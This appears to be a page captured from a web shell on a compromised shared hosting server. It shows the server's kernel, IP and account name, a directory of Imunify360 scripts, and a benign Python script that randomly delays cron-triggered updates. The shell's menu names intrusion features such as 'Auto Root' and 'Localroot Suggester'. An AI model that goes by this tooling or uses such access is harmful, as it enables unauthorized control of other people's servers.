Linux premium71.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
Server IP : 198.187.29.8 & Your IP : 216.73.216.155
Domains :
Cant Read [ /etc/named.conf ]
User : cleahvkv
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
imunify360 /
venv /
share /
imunify360 /
scripts /
Delete
Unzip
Name
Size
Permission
Date
Action
check-detached.py
1.11
KB
-rwxr-xr-x
2025-05-28 10:49
create_default_config
1.23
KB
-rwxr-xr-x
2025-05-28 10:49
delay_on_cron_call.py
1.12
KB
-rwxr-xr-x
2025-05-26 13:55
imunify-disable-cpu-accounting.sh
792
B
-rwxr--r--
2025-05-28 10:49
imunify-doctor.sh
16.73
KB
-rwxr--r--
2025-05-28 10:49
imunify-force-update.sh
3.12
KB
-rwxr--r--
2025-05-28 10:49
purge-clamav
535
B
-rwxr-xr-x
2025-05-28 10:49
send-notifications
72
B
-rwxr-xr-x
2025-05-28 10:49
update_components_versions.py
4.02
KB
-rwxr-xr-x
2025-05-28 10:49
Save
Rename
#!/opt/imunify360/venv/bin/python3 """ Script for internal use in cron update scripts. This script detects when parent call was maid from cron job and apply the random delay in 60 minutes """ import os import psutil import random import time MAX_SLEEP_TIME = 3600 def is_current_process_cron_child(): pid = os.getpid() try: process = psutil.Process(pid) parents = process.parents() # True for cron cronie anacron and etc.. return any(is_cron(proc.name().lower()) for proc in parents) except psutil.NoSuchProcess: print("Unable to determine parent process ID.") return False def is_cron(proc_name: str): return "cron" in proc_name and "imunify" not in proc_name def sleep_in_cron(): try: if is_current_process_cron_child(): sleep_time = random.randint(0, MAX_SLEEP_TIME) print(f"Wait for {sleep_time} seconds before starting updates") time.sleep(sleep_time) else: print("Not in cron, run update immediately") except Exception as e: print("An error occurred while waiting: ", e) sleep_in_cron()